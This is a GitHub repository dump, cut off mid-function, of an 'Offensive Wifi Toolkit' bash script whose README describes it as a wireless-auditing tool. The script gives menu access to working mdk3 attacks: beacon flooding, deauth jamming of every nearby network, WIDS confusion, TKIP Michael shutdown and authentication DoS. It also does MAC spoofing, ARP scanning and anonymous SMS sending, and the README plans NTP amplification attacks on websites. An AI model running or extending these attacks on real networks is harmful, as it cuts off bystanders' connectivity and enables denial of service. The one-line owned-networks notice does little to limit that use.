├── .gitignore
├── LICENSE
├── README.md
├── img
├── image.png
├── image1.png
├── image11.png
├── image2.png
├── image3.png
├── image4.png
├── image7.png
├── image8.png
├── image9.png
├── imagemain.png
├── img6.png
└── update.png
├── owt.sh
└── troubleshoot.sh
/.gitignore:
--------------------------------------------------------------------------------
1 | #ignore all images
2 | img/**/*.png
3 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Brennan Mccown
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Currently unstable will be updated eventually.
2 |
3 |
4 | Offensive Wifi Toolkit (owt) created by Brennan Mccown (clu3bot)
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 | This tool compiles some necessary tools for wifi auditing in a unix bash script with a user friendly interface. The goal of owt is to have the smallest file size possible while still functioning at maximum proficiency.
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 | # Installation & Running the script
39 | ```
40 | ~ $ git clone https://github.com/clu3bot/OWT.git
41 | ~ $ cd owt
42 | ~ $ sudo bash owt.sh
43 | ```
44 | **Note: owt requires root privileges**
45 |
46 | **Make sure to allow updates regularly**
47 | # Usage
48 | **Detailed How-to of owt can be found here**
49 | * [Usage](https://github.com/clu3bot/owt/wiki/Usage)
50 |
51 | # Troubleshooting
52 | **Troubleshoot.sh will detect possible problems you may have with owt**
53 | ```
54 | ~ $ cd owt
55 | ~ $ sudo bash troubleshoot.sh
56 | ```
57 |
58 | # Recent Additions
59 |
60 | * Added SMS messages. One free sms message per day using Textbelt.
61 |
62 | # Dependencies
63 | * aircrack-ng
64 | * mdk3
65 | * xterm
66 | * macchanger
67 | * ***owt tool will prompt the user to download these dependencies if they arent installed***
68 |
69 | # In The Works
70 | * Expanding owt from being just for wireless network attacking. More information below.
71 | * Adding more advanced functionality to owt such as NTP amplification attacks to screw with NTP servers for dosing websites.
72 | * Adding AP tracking functionality and ability to save lists of common saved networks that devices have in the area. I.E if there is a starbucks near by you can track if starbucks is a common AP that phones in the area have as a saved network. This is useful for knowing which APs to spoof.
73 | * Adding a method of saving text or csv files of device names and mac-addresses on a newtwork.
74 | * Making a windows version of owt.
75 | * Major U.I changes
76 | * Fixing the "issue" where owt doesn't support use within Virtual Machines. Not priority as this is a pain in the ass but has been requested :)
77 |
78 | # History
79 | **owt Version History can be found here**
80 | * [Versions](https://github.com/clu3bot/owt/wiki/Versions)
81 |
82 | **Stable Releases Source Code can be found here**
83 | * [Releases](https://github.com/clu3bot/owt/releases)
84 |
85 |
86 | # All Resources
87 | * **Contact me** [here](https://github.com/clu3bot/owt/wiki/Contact)
88 | * **Tutorial for owt** [here](https://github.com/clu3bot/owt/wiki/Usage)
89 | * **owt wiki** [here](https://github.com/clu3bot/owt/wiki/)
90 | * **Updates/Versions history** [here](https://github.com/clu3bot/owt/wiki/Versions)
91 | * **Help and Troubleshooting** [here](https://github.com/clu3bot/owt/wiki/Help)
92 |
93 | # Legal Notice
94 |
95 | This script is intended to be used on networks you own. Don't use this script maliciously. You are responsible for your own actions.
96 |
97 |
--------------------------------------------------------------------------------
/img/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image.png
--------------------------------------------------------------------------------
/img/image1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image1.png
--------------------------------------------------------------------------------
/img/image11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image11.png
--------------------------------------------------------------------------------
/img/image2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image2.png
--------------------------------------------------------------------------------
/img/image3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image3.png
--------------------------------------------------------------------------------
/img/image4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image4.png
--------------------------------------------------------------------------------
/img/image7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image7.png
--------------------------------------------------------------------------------
/img/image8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image8.png
--------------------------------------------------------------------------------
/img/image9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image9.png
--------------------------------------------------------------------------------
/img/imagemain.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/imagemain.png
--------------------------------------------------------------------------------
/img/img6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/img6.png
--------------------------------------------------------------------------------
/img/update.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/update.png
--------------------------------------------------------------------------------
/owt.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #Offensive Wifi Toolkit (owt)
3 | #Project start date (Feb. 8 2021)
4 | #Created By Brennan Mccown (clu3bot)
5 | #Version 3.1
6 | #This project is licensed with MIT License.
7 |
8 |
9 | #colors vars
10 | LBLUE='\033[1;34m'
11 | LRED='\033[1;31m'
12 | LGREEN='\033[1;32m'
13 | RED='\033[0;31m'
14 | YELLOW='\033[1;33m'
15 | NONE='\033[0m'
16 | PURPLE='\033[1;35m'
17 | CYAN='\033[0;36m'
18 | GREEN='\033[0;32m'
19 | #
20 |
21 | #predifined vars
22 | S=1000
23 | mon=Monitor
24 | man=Managed
25 | version="3.1"
26 | language="English"
27 | #user="clu3bot"
28 | github="https://github.com/clu3bot/"
29 | filename="owt.sh"
30 | creator="Brennan Mccown (clu3bot)"
31 | contactinfo="brennanmccown@protonmail.com"
32 |
33 | #initial clear
34 | clear
35 |
36 | #wrapper for echo with color and sleep
37 | ewr() {
38 | sleep 0.05
39 | echo -e "$@"
40 | }
41 |
42 | #checks for updates of the script. This completely deletes the owt.sh file and then pulls the latest version back into the local git.
43 |
44 | check_for_updates () {
45 |
46 | ewr "${YELLOW}Checking for updates${NONE}"
47 | while [ "$(git stash --include-untracked | git reset --hard | git pull https://github.com/clu3bot/owt.git > git.txt)" ]; do
48 | ewr "${NONE}[${LRED}Checking for updates to owt tool${NONE}]"
49 | ewr "\n${LBLUE}Please wait..${NONE}"
50 | done;
51 | if grep "Already" git.txt; then
52 | ewr "${LRED}owt is already up to date!${NONE}"
53 | rm -rf git.txt
54 | sleep 0.2
55 | else
56 | ewr "${LRED}owt has been updated. Restart script for changes to take place.${NONE}"
57 | sleep 1
58 | rm -rf git.txt
59 | exit
60 | fi
61 |
62 |
63 | }
64 |
65 | #says skipping updates when user chooses not to update
66 |
67 | skip_updates () {
68 | clear
69 | ewr "${LGREEN}Skipping Updates..${NONE}"
70 | sleep 0.4
71 |
72 | }
73 |
74 |
75 | #checks to see if dns can be established or not
76 |
77 | check_dns () {
78 | if ping -q -c 1 -W 1 8.8.8.8 >/dev/null; then
79 | sleep 0.1
80 | else
81 | ewr "${RED} DNS could not be established. Please read help.txt for more iformation.${NONE}"
82 | sleep 1.5
83 | ewr "${LGREEN}Returning to Main Menu..${NONE}"
84 | sleep 1.7
85 | main_menu
86 | fi
87 | }
88 |
89 | #checks to see if dns can be established or not which determines if updates will procede.
90 |
91 | check_for_connect () {
92 | if ping -q -c 1 -W 1 8.8.8.8 >/dev/null; then
93 | check_for_updates
94 | else
95 | ewr "${LRED}Could not Check for Updates ${NONE}:${RED} DNS could not be established. Please read help.txt for more iformation.${NONE}"
96 | sleep 1.5
97 | ewr "${LGREEN}Skipping Updates..${NONE}"
98 | sleep 1.7
99 | fi
100 | }
101 |
102 | #asks if the user would like to update the script.
103 |
104 | ask_for_updates () {
105 | clear
106 | echo -e "${LGREEN}The script may have updates available\n${LRED}${d}\n${LBLUE}Would you like to check for them now? (Y/N)"
107 | read -r re
108 | if [[ "$re" == ["yY"]* ]]; then
109 | check_for_connect;
110 | else
111 | skip_updates
112 | fi
113 |
114 | }
115 |
116 | #prints intro 1
117 | intro_1 () {
118 | echo -e "${LRED}
119 | ███████ █████ ███ █████ ███████████
120 | ███░░░░░███ ░░███ ░███ ░░███ ░█░░░███░░░█
121 | ███ ░░███ ░███ ░███ ░███ ░ ░███ ░
122 | ░███ ░███ ░███ ░███ ░███ ░███
123 | ░███ ░███ ░░███ █████ ███ ░███
124 | ░░███ ███ ░░░█████░█████░ ░███
125 | ░░░███████░ ░░███ ░░███ █████
126 | ░░░░░░░ ░░░ ░░░ ░░░░░ "
127 |
128 | echo -e "${YELLOW} \n Offensive Wifi Toolkit (${filename})"
129 | echo -e "${LBLUE}\n Created by ${creator}"
130 | echo -e "${LBLUE} Version ${version}${NONE}"
131 | echo -e "${YELLOW}\n ...${NONE} "
132 | sleep 1.5
133 | clear
134 | ask_for_updates
135 | }
136 |
137 | #calls intro 1 function
138 | intro_1
139 |
140 | #Sleeps for 1 seconds
141 | sleep 1
142 | #clear intro
143 | clear
144 |
145 |
146 | #checks if the user has root perms.
147 |
148 | check_for_root () {
149 |
150 | isroot=$(whoami)
151 |
152 | if [ "$isroot" = "root" ]; then
153 | check="true"
154 | else
155 | check="false"
156 | fi
157 |
158 | }
159 |
160 | ###beta code### for prompt about eth0
161 | eth0_prompt() {
162 | clear
163 | ewr "${LRED}Error Connecting. Try using a Wireless Interface as opposed to Wired. If this doesn't help, try running troubleshoot.sh${NONE}"
164 | read -r -p "Press Enter to continue to Main Menu"
165 | main_menu
166 | }
167 |
168 | ###beta code### to check if iface is equal to eth0
169 |
170 | check_eth0() {
171 | if [ "${iface}" == "eth0" ]; then
172 | eth0_prompt
173 | fi
174 | }
175 |
176 | ###beta code### checks if there is a wireless interface available
177 | check_iface() {
178 | iface=$(airmon-ng | awk 'NR==4' | awk '{print $2}')
179 |
180 | if [[ -z "${iface// }" ]]; then
181 | iface="eth0"
182 | fi
183 |
184 | if [[ "${iface}" == "eth0" ]]; then
185 | mode="Wired Connection"
186 | else
187 | mode=$(iwconfig "$iface" | sed -n '/Mode:/s/.*Mode://; s/ .*//p')
188 | fi
189 |
190 | if [ "$mode" == "Monitor" ]; then
191 | Mod=Monitor
192 | else
193 | Mod=Managed
194 | fi
195 | }
196 |
197 | #print second intro
198 |
199 | intro_2 () {
200 | check_for_root
201 | clear
202 | ewr "${LRED}Welcome To Offensive Wifi Toolkit${NONE}\n"
203 | ewr "${LGREEN}-------------------------------------------------${NONE}"
204 | ewr "${YELLOW}These tools are meant for use on networks you own\nHack at your own risk\n${NONE}"
205 |
206 | if [ "$check" = "true" ]; then
207 | perm="User is root"
208 | else
209 | perm="User is not root"
210 | fi
211 | ewr "[${LRED}Permission Status${NONE}] ${LBLUE}${perm}${NONE}"
212 | check_iface
213 | ewr "[${LRED}Interface${NONE}] ${LBLUE}${iface}${NONE}"
214 | dn=$(lsb_release -is)
215 | ewr "[${LRED}Distribution${NONE}] ${LBLUE}${dn}${NONE}\n"
216 | ewr "${LGREEN}-------------------------------------------------${NONE}"
217 | ewr "${LBLUE}Check if all necessary packages are installed${NONE}"
218 | read -r -p "Press Enter to Continue.."
219 | }
220 |
221 | #checks permissions of the user due to root perms being required for the script to function properally. root perms are not optional
222 |
223 | permissions_prompt () {
224 | check_for_root
225 | if [ "$check" = "false" ]; then
226 | ewr "${LRED}owt requires root permissions!${NONE}\n"
227 | if [ "$check" = "true" ]; then
228 | perm="User is root"
229 | else
230 | perm="User is not root"
231 | fi
232 | ewr "[${LRED}Permission Status${NONE}] ${LBLUE}${perm}${NONE}\n"
233 | ewr "${LBLUE}Restart owt by using ${LRED}sudo bash owt.sh${NONE}"
234 | ewr "\n${RED}Now exiting the script..${NONE}"
235 | sleep 0.8
236 | exit
237 | else
238 | sleep 0.1
239 | fi
240 | }
241 |
242 | ###beta code for improved checking for dependencies
243 |
244 | check_dependencies() {
245 | permissions_prompt
246 | dependencies=(aircrack-ng mdk3 xterm macchanger)
247 | for d in "${dependencies[*]}"; do
248 | if [ "$(dpkg-query -W -f='${Status}' "$d" 2>/dev/null | grep -c "ok installed")" -eq 0 ]; then
249 | echo -e "${LBLUE}Some or all of the following packages must be installed for the script to run...\n${LRED}${d}\n${LBLUE}Would you like to install them now? (Y/N)"
250 | read -r r
251 |
252 | if [[ "$r" == ["yY"]* ]]; then
253 |
254 | if [ -x "$(command -v apt-get)" ]; then
255 | sudo apt-get install $d;
256 | if [ -x "$(command -v apk)" ]; then
257 | sudo apk add --no-cache $d;
258 | if [ -x "$(command -v dnf)" ]; then
259 | sudo dnf install $d;
260 | if [ -x "$(command -v zypper)" ]; then
261 | sudo zypper install $d;
262 | if [ -x "$(command -v pacman)" ]; then
263 | sudo pacman -S $d;
264 | else
265 | echo -e "${LRED}Could not locate a package manager."
266 | echo -e "${LBLUE}Try mannually installing the following packages${NONE}:\n $d" >&2;
267 | fi
268 | fi
269 | fi
270 | fi
271 | fi
272 | fi
273 | fi
274 | done
275 | }
276 |
277 | #calls check dependencies var to check for required dependencies for the script
278 | check_dependencies
279 |
280 | #calls permission prompt var to check for the required root privileges.
281 | permissions_prompt
282 |
283 | #calls intro 2 function
284 | intro_2
285 |
286 | #
287 | clear
288 |
289 | #function for displaying whats happening when switching from managed to monitor or vise versa
290 |
291 | ecmonm() {
292 | clear
293 | echo -e "${LGREEN}Putting Device in Monitor Mode${NONE}"
294 | }
295 |
296 | ecmanm() {
297 | clear
298 | echo -e "${LGREEN}Putting Device in Managed Mode${NONE}"
299 | }
300 |
301 |
302 | #checks if device is in monitor mode if not prompts the user to put device in monitor mode if the wireless card is in managed/station mode.
303 |
304 | check_monitor_mode () {
305 | check_iface
306 | if [ "$Mod" == "Monitor" ]; then
307 | sleep 0.1
308 | else
309 | ewr "${LBLUE}This script requires $mon mode, would you like to enable it now? ${LRED}(Y/N)${NONE}"
310 |
311 | read -r re
312 | fi
313 | if [[ "$re" == ["yY"]* ]]; then
314 | ecmonm &
315 | ifconfig "$iface" up
316 | sleep 0.1
317 | airmon-ng start "$iface"
318 | fi
319 | }
320 |
321 | #calls check monitor mode function
322 |
323 | check_monitor_mode
324 |
325 |
326 | #puts currently used wireless interface in monitor mode
327 |
328 | monitor_mode () {
329 | check_eth0
330 | ecmonm &
331 | airmon-ng check kill
332 | check_iface
333 | if [ "$Mod" == "Monitor" ]; then
334 | clear
335 | echo -e "${LRED}Device already in $mon mode ${NONE}"
336 | sleep 0.5
337 | main_menu
338 | else
339 | sudo airmon-ng start "$iface"
340 | clear
341 | echo -e "${LRED}Device now in $mon Mode${NONE}"
342 | main_menu
343 | fi
344 | }
345 |
346 | #puts currently used wireless interface in managed/station mode
347 | managed_mode () {
348 | check_eth0
349 | ecmanm &
350 | service network-manager start
351 | check_iface
352 | if [ "$Mod" == "Managed" ]; then
353 | clear
354 | echo -e "${LRED}Device already in $man mode ${NONE}"
355 | sleep 0.5
356 | main_menu
357 | else
358 | sudo airmon-ng stop "$iface"
359 | fi
360 | clear
361 | echo -e "${LRED}Device now in $man Mode${NONE}"
362 | main_menu
363 | }
364 |
365 | #scans for networks in the area then lists them in a numbered list for the user to select
366 | scan_networks () {
367 | check_eth0
368 | clear
369 | check_iface
370 | if [ "$Mod" == "Monitor" ]; then
371 | sleep 0.1
372 | else
373 | echo -e "${LRED}This tool requires Monitor Mode${NONE}"
374 | read -r -p "Press Enter to return to Main Menu"
375 | main_menu
376 | fi
377 | scan_animation &
378 | #failsafe for exit
379 | trap 'airmon-ng stop $iface > /dev/null;rm otp-01.csv 2> /dev/null' EXIT
380 | #
381 | xterm -e airodump-ng --output-format csv -w otp "$iface" > /dev/null & sleep 10 ; kill $!
382 | sed -i '1d' otp-01.csv
383 | kill %1
384 | echo -e "\n\n${LRED}Scan Results${NONE}"
385 | cut -d "," -f 14 otp-01.csv | nl -n ln -w 6
386 | while [ ${S} -gt "$(wc -l otp-01.csv | cut -d " " -f 1)" ] || [ ${S} -lt 1 ]; do
387 | echo -e "\n${LBLUE}Select a Network"
388 | read -r -p "$(tput setaf 7) " S
389 | done
390 | nn=$(sed -n "${S}p" < otp-01.csv | cut -d "," -f 14 )
391 | rm -rf otp-01.csv 2> /dev/null
392 | echo -e "\n[${LGREEN}${nn}${NONE} ] Selected"
393 | read -r -p "$(tput setaf 7)Press Enter to Continue.."
394 | clear
395 | main_menu
396 | }
397 |
398 |
399 | #creates the about page function for useful information about owt
400 | about_page () {
401 | clear
402 |
403 | ewr "${LRED}About owt${NONE}\n"
404 | ewr "${PURPLE}--------------------------------${NONE}"
405 | ewr "${YELLOW}Creator${NONE}:${YELLOW}$creator${NONE}"
406 | ewr "${YELLOW}Github${NONE}:${YELLOW}$github${NONE}"
407 | ewr "${YELLOW}Language${NONE}:${YELLOW}$language${NONE}"
408 | ewr "${YELLOW}Version${NONE}:${YELLOW}$version${NONE}"
409 | ewr "${YELLOW}Filename${NONE}:${YELLOW}$filename${NONE}"
410 | ewr "${YELLOW}Contact${NONE}:${YELLOW}$contactinfo${NONE}"
411 | ewr "${PURPLE}--------------------------------${NONE}\n"
412 | ewr "${LRED}Press ${GREEN}[${NONE}Enter${GREEN}] ${LRED}to return to Main Menu${NONE}"
413 | }
414 |
415 | #creates the wifi attacks menu function
416 | wifi_attacks_menu () {
417 | clear
418 | check_eth0
419 | check_mode
420 | check_iface
421 | echo -e "${LRED}
422 | ███████ █████ ███ █████ ███████████
423 | ███░░░░░███ ░░███ ░███ ░░███ ░█░░░███░░░█
424 | ███ ░░███ ░███ ░███ ░███ ░ ░███ ░
425 | ░███ ░███ ░███ ░███ ░███ ░███
426 | ░███ ░███ ░░███ █████ ███ ░███
427 | ░░███ ███ ░░░█████░█████░ ░███
428 | ░░░███████░ ░░███ ░░███ █████
429 | ░░░░░░░ ░░░ ░░░ ░░░░░ "
430 |
431 | ewr "\n${NONE}[${LRED}Interface${NONE}]${LBLUE} ${iface}${NONE} [${LRED}Mode${NONE}]${LBLUE} ${Mod}${NONE} [${LRED}Target Network${NONE}]${LBLUE} ${nn}${NONE}\n"
432 |
433 | ewr "${PURPLE}----------${NONE}[${LBLUE}General${NONE}]${PURPLE}---------\n"
434 | ewr "${NONE}[${LGREEN}0${NONE}] ${YELLOW} Main Menu\n"
435 | ewr "${PURPLE}-------${NONE}[${LBLUE}Wifi Attacks${NONE}]${PURPLE}-------\n"
436 | ewr "${NONE}[${LGREEN}1${NONE}] ${YELLOW} Beacon Flood Attack"
437 | ewr "${NONE}[${LGREEN}2${NONE}] ${YELLOW} Deauth/Jamming Attack"
438 | ewr "${NONE}[${LGREEN}3${NONE}] ${YELLOW} Basic AP Probe"
439 | ewr "${NONE}[${LGREEN}4${NONE}] ${YELLOW} WIDS/WIPS Confusion Attack"
440 | ewr "${NONE}[${LGREEN}5${NONE}] ${YELLOW} Michael Shutdown Exploitation"
441 | ewr "${NONE}[${LGREEN}6${NONE}] ${YELLOW} Authentication DoS Attack (AP Freeze)\n"
442 | ewr "${PURPLE}---------------------------${NONE}"
443 | while true; do
444 | echo -e "${LRED}Select an option:${NONE}"
445 | read -r -p "$(tput setaf 7)" option
446 | case $option in
447 |
448 | 0) echo -e "\n${NONE}${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]"
449 | read -r -p "Are you sure? Press Enter.."
450 | main_menu
451 | ;;
452 | 1) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]"
453 | read -r -p "Are you sure? Press Enter.."
454 | beacon_flood_attack
455 | ;;
456 | 2) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]"
457 | read -r -p "Are you sure? Press Enter.."
458 | deauth_attack
459 | ;;
460 | 3) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]"
461 | read -r -p "Are you sure? Press Enter.."
462 | probe_attack
463 | ;;
464 | 4) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]"
465 | read -r -p "Are you sure? Press Enter.."
466 | confusion_attack
467 | ;;
468 | 5) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]"
469 | read -r -p "Are you sure? Press Enter.."
470 | michael_shutdown
471 | ;;
472 | 6) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]"
473 | read -r -p "Are you sure? Press Enter.."
474 | authentication_dos
475 | ;;
476 | *) echo -e "${LRED}Not an Option${NONE}"
477 | wifi_attacks_menu
478 | ;;
479 | esac
480 | done
481 | }
482 |
483 | #beacon flood attack using mdk3 /// creates fake aps which will appear in the general vicinity of the device.
484 | beacon_flood_attack () {
485 | clear
486 | check_mode
487 | check_iface
488 |
489 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}"
490 | sleep 0.5
491 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Beacon Flood Selected${NONE}"
492 | sleep 1
493 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets${NONE}"
494 | sleep 1
495 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Spamming Network APs${NONE}"
496 | mdk3 "$iface" b -s 250
497 | }
498 |
499 | #airplay deauth frame attack using mdk3 /// disconnects all divices from every router in range
500 | deauth_attack () {
501 | clear
502 | check_mode
503 | check_iface
504 |
505 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}"
506 | sleep 0.5
507 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Deauth/Jammer Selected${NONE}"
508 | sleep 1
509 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}"
510 | sleep 1
511 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Disconnecting all Devices From Networks..${NONE}"
512 | mdk3 "$iface" d -c
513 | }
514 |
515 | #wids/wips confusion attack using mdk3 /// when wps pin is known the attack and crack the password of the wireless network. this is currently a beta feature // needs improvement, might use something other the mdk3 to preform this attack in the future.
516 | confusion_attack () {
517 | clear
518 | check_mode
519 | check_network_name
520 | check_iface
521 |
522 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}"
523 | sleep 0.5
524 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}AP Probe Selected${NONE}"
525 | sleep 1
526 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}"
527 | sleep 1
528 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}WIDS/WIPS Confusion Commencing.."
529 | mdk3 "$iface" w -c -z -t "$nn"
530 | }
531 |
532 | #probe using mdk3 /// kinda of useless but can sometimes crash much older routers or routers with very out dated firmware
533 | probe_attack () {
534 | clear
535 | check_mode
536 | check_network_name
537 | check_iface
538 |
539 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}"
540 | sleep 0.5
541 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}AP Probe Selected${NONE}"
542 | sleep 1
543 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}"
544 | sleep 1
545 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Probing Network.."
546 | mdk3 "$iface" p -e "$nn"
547 | }
548 |
549 | #michael shutdown exploitation using mdk3 /// outdated but depending on the routers firmware this attack can shutdown Aps using TKIP encryption // currently searching for other attack methods to replace MSTKIP
550 | michael_shutdown () {
551 | clear
552 | check_mode
553 | check_network_name
554 |
555 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}"
556 | sleep 0.5
557 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}TKIP Selected${NONE}"
558 | sleep 1
559 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}"
560 | sleep 1
561 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}TKIP Exploit Commencing.."
562 | mdk3 "$iface" m -t "$nn" -w 5 -n 100
563 | }
564 |
565 | #auth dos attack using mdk3 /// sends fabricated authentication frames to routers in order to capture handshake. works with wpa2 sometimes ###needs fixing
566 | authentication_dos () {
567 | clear
568 | check_mode
569 | check_network_name
570 |
571 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}"
572 | sleep 0.5
573 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}TKIP Selected${NONE}"
574 | sleep 1
575 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}"
576 | sleep 1
577 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Authentication DoS Attack Commencing.."
578 | mdk3 "$iface" a -a "$nn" -c -s 400
579 | }
580 |
581 | #saves the output of the arp scan
582 | arp_output () {
583 | sudo arp-scan -I $iface -l | awk 'NR > 3' | head -n -3 > arpoutput-01.txt
584 | }
585 |
586 | #runs and arp scan and asks if user wants to save the output after
587 | arp_command () {
588 | check_iface
589 | sudo arp-scan -I $iface -l | awk 'NR > 3' | head -n -3
590 | echo -e "${YELLOW}\nSave this output to a file? ${LBLUE}(Y/N)${NONE}"
591 |
592 | }
593 |
594 | #runs and arp scan for router names and mac addresses
595 | arp_scan () {
596 | check_eth0
597 | clear
598 | arp_command &
599 | echo -e "${LGREEN}Scanning..${NONE}" && sleep 2;
600 | clear
601 | echo -e "${LRED}Output:${NONE}"
602 | read -r r
603 | if [[ "$r" == ["yY"]* ]]; then
604 | arp_output &
605 | echo -e "${LGREEN}Saving Output to file.${NONE}"
606 | sleep 0.7
607 | clear
608 | echo -e "${LGREEN}Saving Output to file..${NONE}"
609 | sleep 0.7
610 | clear
611 | echo -e "${LGREEN}Saving Output to file...${NONE}"
612 | sleep 0.7
613 | clear
614 | sleep 1
615 | echo -e "${LRED}File has been saved as arpoutput-01.txt"
616 | sleep 2
617 | main_menu;
618 | else
619 | clear
620 | echo -e "${LGREEN}Returning to Main Menu${NONE}"
621 | sleep 1.5
622 | main_menu;
623 | fi
624 | }
625 |
626 | #spoofs the mac address of the interface being used. should work on eth0 ##needs more testing and improvemnt.
627 | mac_spoof () {
628 | clear
629 | check_iface
630 | sudo ifconfig $iface down
631 | sudo macchanger -r ${iface}
632 | sleep 1
633 | ewr "${LRED}Your mac-address has now been changed.${NONE}"
634 | sleep 2.5
635 | clear
636 | sleep 1.5
637 | ewr "${YELLOW}Returning to Main Menu${NONE}"
638 | sleep 1.5
639 | main_menu
640 | }
641 |
642 | send_sms(){
643 | clear
644 | check_dns
645 | ewr "\n${RED} NOTE: ${NONE}SMS Messaging allows one free sms message per day, per device.\n\n"
646 | ewr "${YELLOW} Enter Number as > ${LBLUE} 1 234 234 6789 ${LRED} With No spaces"
647 | ewr "${GREEN} Example = ${LRED}12342346789\n"
648 | ewr "${GREEN} Enter Phone Number With Country Code:"
649 |
650 | read -r phonenumber
651 |
652 | echo -e "\n${GREEN} Enter Message:"
653 |
654 | read -r sms
655 |
656 | smssent=$(curl -# -X POST https://textbelt.com/text --data-urlencode phone="$phonenumber" --data-urlencode message="$sms" -d key=textbelt)
657 |
658 | if grep -q true <<<"$smssent"
659 |
660 | then
661 |
662 | echo -e "\n${GREEN} SUCCESS"
663 | echo -e "${GREEN} ----------------------------------------------"
664 | echo "$smssent"
665 | echo -e "${GREEN} ----------------------------------------------"
666 | else
667 | echo -e "\n${LRED} FAIL\n"
668 | echo -e "${GREEN} ----------------------------------------------"
669 | echo "$smssent"
670 | echo -e "${GREEN} ----------------------------------------------\n"
671 | fi
672 | echo "Press any key to return to Main Menu"
673 | read -r
674 | }
675 |
676 | #checks if interface exists for variable assignment
677 | check_mode_for_vars () {
678 | check_iface
679 | }
680 |
681 | #checks if interface is in monitor or managed mode /// for tools that require monitor mode
682 | check_mode () {
683 | check_iface
684 | if [ "$Mod" == "Monitor" ]; then
685 | sleep 0.1
686 | else
687 | echo -e "${LRED}This tool requires $mon Mode${NONE}"
688 | read -r -p "Press Enter to continue to Main Menu"
689 | main_menu
690 | fi
691 | }
692 |
693 | #checks if the network name var is assigned
694 | check_network_name () {
695 | if [ -z ${nn+x} ]; then
696 |
